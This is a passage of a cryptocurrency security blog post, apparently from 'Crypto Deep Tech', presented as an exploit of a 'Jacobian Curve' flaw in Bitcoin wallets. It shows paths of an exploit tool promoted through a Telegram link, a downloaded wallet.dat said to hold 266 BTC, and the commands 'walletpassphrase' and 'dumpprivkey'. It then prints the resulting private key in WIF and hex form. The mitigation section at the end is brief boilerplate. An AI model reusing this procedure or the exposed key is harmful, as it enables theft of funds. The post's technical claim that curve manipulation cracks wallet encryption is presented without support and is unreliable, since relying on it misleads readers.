class=\"wp-image-1041\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-5c9295480e7c286ad35f115df374f239\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\modules\\exploits\\ExploitDarlenePRO\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-30(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1042\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-733c605a1bca8a3ad00ac9a384c53c06\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\modules\\exploits\\ExploitDarlenePRO\\decode_core.rb\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-31(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1043\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://t.me/exploitdarlenepro\" target=\"_blank\" rel=\"noreferrer noopener\"\u003edecode_core.rb\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-57-1024x69.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1200\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-58-1024x70.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1201\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-fb40126e10d86da31101c084004e9ebd\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\bitcoin\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-24(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1034\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/bitcoin/bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/bitcoin/bitcoin\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-26-1024x47.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1037\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/bitcoin/bitcoin/blob/master/src/crypto/aes.h\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/bitcoin/bitcoin/blob/master/src/crypto/aes.h\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-27.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1038\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-fd502a1c0031901c2afff7775b7bb55a\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\bitcoin\\src\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-23.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1032\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-038fb76af6315672e5e35fc4132e231c\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\bitcoin\\src\\crypto\\aes.cpp\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-22(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1030\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-038fb76af6315672e5e35fc4132e231c\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\bitcoin\\src\\crypto\\aes.cpp\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-59-1024x70.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1202\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-4ff5d1be7170b9f30d32b0dfde096b80\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\Users\\User\\AppData\\Roaming\\Bitcoin\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-4.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1090\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/raw/main/266.03%20BTC/wallet.dat\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eUpload Wallet.dat\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-60-1024x70.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1203\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/msfvenom_004.gif\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/blob/main/266.03%20BTC/result.json\"\u003eresult.json\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-69-1024x11.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1218\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-bab339369e9573cd2bd8452a4aa1b159\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ewalletpassphrase 1111010100000111010101011110110010011000010000001111001001010011010011110110010010010000000111101010111011101010001010100000011011001001111111110111000011010011101110101010101101101111001011100100101100011000111010011000101001001100011010001100110111111111 60\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eRun the command and get \u003ca href=\"https://keyhunters.ru/bitcoin-core-dumpprivkey/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ePrivate Key\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eThe dumpprivkey command in Bitcoin Core\u003c/p\u003e\n\n\n\n\u003cp\u003eThe \u003ccode\u003e\u003cstrong\u003edumpprivkey\u003c/strong\u003e\u003c/code\u003e command is a command used in the Bitcoin Core wallet command line interface (CLI) to export the private key associated with a specific Bitcoin address. The syntax for the command is as follows:\u003c/p\u003e\n\n\n\n\u003cp\u003e“\u003ccode\u003e \u003cstrong\u003edumpprivkey “address”\u003c/strong\u003e “\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eWhere “address” is the Bitcoin address for which you want to receive the \u003ca href=\"https://keyhunters.ru/bitcoin-core-dumpprivkey/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eprivate key\u003c/a\u003e.\u003c/p\u003e\n\n\n\n\u003cp\u003eHow dumpprivkey command works\u003c/p\u003e\n\n\n\n\u003cp\u003eWhen you type the \u003ccode\u003e\u003cstrong\u003edumpprivkey\u003c/strong\u003e\u003c/code\u003e command, Bitcoin Core looks for the specified address in its wallet and, if found, returns the corresponding \u003ca href=\"https://keyhunters.ru/bitcoin-core-dumpprivkey/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eprivate key\u003c/a\u003e in WIF format. This allows the user to store the private key in a safe place or import it into another wallet.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-736cc83a376d31b9518bc2566c7438a0\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003edumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-40-1024x67.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1174\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://dockeyhunt.com/Bitcoin-Address\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ePrivate Key Information:\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-84bbf918b538574c1d2acb97129c4eff\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-41-1024x54.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1175\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://dockeyhunt.com/Cryptocurrency-Prices\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Address Information:\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-color has-link-color wp-elements-90831519307e38f95ff696c8df8ca26b\" style=\"color:#4092c2\"\u003e\u003cstrong\u003eBalance:  266.03138481 BTC\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-47-1024x54.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1182\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://www.coinbase.com/converter/btc/usd\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://www.coinbase.com/converter/btc/usd\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-74-1024x36.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1227\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003ca href=\"https://keyhunters.ru/exploring-bitcoin-tools-in-python-a-comprehensive-guide-to-the-bitcoin-package-on-pypi/\"\u003e\u003cstrong\u003eInstall Bitcoin\u0026nbsp;\u003c/strong\u003e\u003c/a\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/exploring-bitcoin-tools-in-python-a-comprehensive-guide-to-the-bitcoin-package-on-pypi/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003elibrary\u0026nbsp;\u003c/a\u003e\u003c/strong\u003e\u003c/em\u003e\u003ca href=\"https://keyhunters.ru/exploring-bitcoin-tools-in-python-a-comprehensive-guide-to-the-bitcoin-package-on-pypi/\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!pip3 install bitcoin\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-25-1024x27.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5734\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run\u0026nbsp;\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/priv_addr.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ethe code\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;\u0026nbsp;to check the Bitcoin Address match:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-26.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5735\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e__________________________________________________\n\nPrivate Key WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP\nBitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\ntotal_received \t= 266.03138481 Bitcoin\n__________________________________________________\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eThat’s right! The private key corresponds to the Bitcoin Wallet.\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eLet’s open\u0026nbsp;\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ebitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;\u0026nbsp;and check:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003eADDR: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\nWIF:  5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP\nHEX:  C5FBD161D334BA9BBC199BD9A427F05A46AACFABFBB3BC1BFF9D227E418D76D9\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-27(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5736\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eConclusion and mitigation measures:\u003c/h2\u003e\n\n\n\n\u003cp\u003eTo protect against threats related to the Jacobian Curve vulnerability, users should take the following steps:\u003c/p\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cstrong\u003eSoftware Updates\u003c/strong\u003e\u0026nbsp;: Regularly updating your cryptocurrency wallets to patched versions is critical to security.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eImproved signature verification mechanisms\u003c/strong\u003e\u0026nbsp;: Stronger input validation and error handling will help prevent the creation of fake signatures and protect users’ private keys.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eNetwork activity monitoring\u003c/strong\u003e\u0026nbsp;: Constant analysis of network status and early detection of suspicious transactions allow for prompt response to attempts to exploit vulnerabilities.\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cstrong\u003eImplementing Multi-Factor Authentication\u003c/strong\u003e\u0026nbsp;: Implementing additional cryptographic security methods will significantly improve security.\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eTo prevent possible attacks related to the Jacobian Curve vulnerability, Bitcoin users are strongly advised to update their wallet software to the latest versions that fix this vulnerability. Regular software updates, the implementation of anomaly detection systems, and raising user awareness of possible threats will help maintain the integrity and security of cryptocurrency systems.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003eThe vulnerability of the Jacobian Curve algorithm poses a significant threat to the security of cryptocurrency transactions and the integrity of the blockchain. To minimize risks, users should regularly update their software, implement strict security measures, and constantly monitor the network status. These measures will help maintain the security and stability of cryptocurrency systems, protecting users from potential threats and financial losses.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eReferences:\u003c/h2\u003e\n\n\n\n\u003col class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/10-15-03-lecture.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobians of Curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Abelian Varieties: 10/10/03 notes by W. Stein\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/1904.03978v1.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian of special singular curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;KUBRA NARI AND ENVER OZDEMIR\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/82176361.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eOn the Jacobian Varieties of Hyperelliptic Curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;over Fields of Characteristic p \u0026gt; 2 NORIKO YUI Received October 15, 1977\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/88730132.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian Coordinates on Genus 2 Curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Huseyin Hisil \u0026amp; Craig 